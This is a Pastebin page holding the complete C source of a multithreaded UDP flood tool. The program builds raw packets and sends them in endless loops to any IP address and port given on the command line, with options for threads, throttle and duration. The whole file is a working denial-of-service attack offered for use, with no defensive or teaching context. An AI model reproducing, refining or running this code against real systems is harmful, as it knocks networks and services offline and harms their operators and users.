SHARE
TWEET

udp.c

wtfbbq May 14th, 2015 4,066 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <time.h>
  2. #include <arpa/inet.h>
  3. #include <ifaddrs.h>
  4. #include <netdb.h>
  5. #include <pthread.h>
  6. #include <unistd.h>
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <sys/socket.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/udp.h>
  13.  
  14. #define MAX_PACKET_SIZE 4096
  15. #define PHI 0x9e3779b9
  16.  
  17. static uint32_t Q[4096], c = 362436;
  18.  
  19. struct thread_data{
  20.         int pks;
  21.         int throttle;
  22.         int thread_id;
  23.         unsigned int floodport;
  24.         struct sockaddr_in sin;
  25. };
  26.  
  27. void init_rand(uint32_t x)
  28. {
  29.         int i;
  30.  
  31.         Q[0] = x;
  32.         Q[1] = x + PHI;
  33.         Q[2] = x + PHI + PHI;
  34.  
  35.         for (i = 3; i < 4096; i++)
  36.                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  37. }
  38.  
  39. uint32_t rand_cmwc(void)
  40. {
  41.         uint64_t t, a = 18782LL;
  42.         static uint32_t i = 4095;
  43.         uint32_t x, r = 0xfffffffe;
  44.         i = (i + 1) & 4095;
  45.         t = a * Q[i] + c;
  46.         c = (t >> 32);
  47.         x = t + c;
  48.         if (x < c) {
  49.                 x++;
  50.                 c++;
  51.         }
  52.         return (Q[i] = r - x);
  53. }
  54.  
  55. char *myStrCat (char *s, char *a) {
  56.     while (*s != '\0') s++;
  57.     while (*a != '\0') *s++ = *a++;
  58.     *s = '\0';
  59.     return s;
  60. }
  61.  
  62. char *replStr (char *str, size_t count) {
  63.     if (count == 0) return NULL;
  64.     char *ret = malloc (strlen (str) * count + count);
  65.     if (ret == NULL) return NULL;
  66.     *ret = '\0';
  67.     char *tmp = myStrCat (ret, str);
  68.     while (--count > 0) {
  69.         tmp = myStrCat (tmp, str);
  70.     }
  71.     return ret;
  72. }
  73.  
  74.  
  75. /* function for header checksums */
  76. unsigned short csum (unsigned short *buf, int nwords)
  77. {
  78.   unsigned long sum;
  79.   for (sum = 0; nwords > 0; nwords--)
  80.   sum += *buf++;
  81.   sum = (sum >> 16) + (sum & 0xffff);
  82.   sum += (sum >> 16);
  83.   return (unsigned short)(~sum);
  84. }
  85. void setup_ip_header(struct iphdr *iph)
  86. {
  87.   struct ifaddrs *ifaddr, *ifa;
  88.            int family, s;
  89.            char host[NI_MAXHOST];
  90.  
  91.            if (getifaddrs(&ifaddr) == -1) {
  92.                perror("getifaddrs");
  93.                exit(EXIT_FAILURE);
  94.            }
  95.  
  96.            /* Walk through linked list, maintaining head pointer so we
  97.               can free list later */
  98.  
  99.            for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
  100.                if (ifa->ifa_addr == NULL)
  101.                    continue;
  102.  
  103.                family = ifa->ifa_addr->sa_family;
  104.  
  105.                if (family == AF_INET) {
  106.                    s = getnameinfo(ifa->ifa_addr,sizeof(struct sockaddr_in),
  107.                            host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
  108.                    if (s != 0) {
  109.                        printf("getnameinfo() failed: %s\n", gai_strerror(s));
  110.                        exit(EXIT_FAILURE);
  111.                    }
  112.                    if(strcmp(host, "127.0.0.1") != 0){
  113.                        break;
  114.                    }
  115.                }
  116.            }
  117.            freeifaddrs(ifaddr);
  118.   iph->ihl = 5;
  119.   iph->version = 4;
  120.   iph->tos = 0;
  121.   iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr);
  122.   iph->id = htonl(54321);
  123.   iph->frag_off = 0;
  124.   iph->ttl = MAXTTL;
  125.   iph->protocol = IPPROTO_UDP;
  126.   iph->check = 0;
  127.  
  128.   // Initial IP, changed later in infinite loop
  129.   iph->saddr = inet_addr(host);
  130. }
  131.  
  132. void setup_udp_header(struct udphdr *udph)
  133. {
  134.   udph->source = htons(5678);
  135.   udph->check = 0;
  136. }
  137.  
  138. void *flood(void *par1)
  139. {
  140.   struct thread_data *td = (struct thread_data *)par1;
  141.   fprintf(stdout, "Thread %d started\n", td->thread_id);
  142.   char datagram[MAX_PACKET_SIZE];
  143.   struct iphdr *iph = (struct iphdr *)datagram;
  144.   struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  145.   struct sockaddr_in sin = td->sin;
  146.   char new_ip[sizeof "255.255.255.255"];
  147.  
  148.   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  149.   if(s < 0){
  150.     fprintf(stderr, "Could not open raw socket.\n");
  151.     exit(-1);
  152.   }
  153.  
  154.   unsigned int floodport = td->floodport;
  155.  
  156.   // Clear the data
  157.   memset(datagram, 0, MAX_PACKET_SIZE);
  158.  
  159.   // Set appropriate fields in headers
  160.   setup_ip_header(iph);
  161.   setup_udp_header(udph);
  162.  
  163.   char *data = (char *)udph + sizeof(struct udphdr);
  164.   data = replStr("\xFF", td->pks);
  165.   udph->len=htons(td->pks);
  166.  
  167.   iph->tot_len += td->pks;
  168.  
  169.   udph->dest = htons(floodport);
  170.  
  171.   iph->daddr = sin.sin_addr.s_addr;
  172.   iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  173.  
  174.   int tmp = 1;
  175.   const int *val = &tmp;
  176.   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  177.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  178.     exit(-1);
  179.   }
  180.  
  181.   int throttle = td->throttle;
  182.  
  183.   uint32_t random_num;
  184.   uint32_t ul_dst;
  185.   init_rand(time(NULL));
  186.   if(throttle == 0){
  187.     while(1){
  188.       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  189.       random_num = rand_cmwc();
  190.       udph->source = htons(random_num & 0xFFFF);
  191.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  192.     }
  193.   } else {
  194.     while(1){
  195.       throttle = td->throttle;
  196.       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  197.       random_num = rand_cmwc();
  198.       udph->source = htons(random_num & 0xFFFF);
  199.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  200.  
  201.      while(--throttle);
  202.     }
  203.   }
  204. }
  205. int main(int argc, char *argv[ ])
  206. {
  207.   if(argc < 6){
  208.     fprintf(stderr, "Invalid parameters!\n");
  209.     fprintf(stdout, "Usage: %s <target IP> <target Port> <throttle> <packet size> <number threads to use> <time>\n", argv[0]);
  210.     exit(-1);
  211.   }
  212.  
  213.   fprintf(stdout, "Setting up Sockets...\n");
  214.  
  215.   int num_threads = atoi(argv[5]);
  216.   int packet_size = atoi(argv[4]);
  217.   unsigned int floodport = atoi(argv[2]);
  218.   pthread_t thread[num_threads];
  219.   struct sockaddr_in sin;
  220.  
  221.   sin.sin_family = AF_INET;
  222.   sin.sin_port = htons(floodport);
  223.   sin.sin_addr.s_addr = inet_addr(argv[1]);
  224.  
  225.   struct thread_data td[num_threads];
  226.  
  227.   int i;
  228.   for(i = 0;i<num_threads;i++){
  229.     td[i].thread_id = i;
  230.     td[i].pks = packet_size;
  231.     td[i].sin = sin;
  232.     td[i].floodport = floodport;
  233.     td[i].throttle = atoi(argv[3]);
  234.     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  235.   }
  236.   fprintf(stdout, "Starting Flood...\n");
  237.   if(argc > 6)
  238.   {
  239.     sleep(atoi(argv[6]));
  240.   } else {
  241.     while(1){
  242.       sleep(1);
  243.     }
  244.   }
  245.  
  246.   return 0;
  247. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top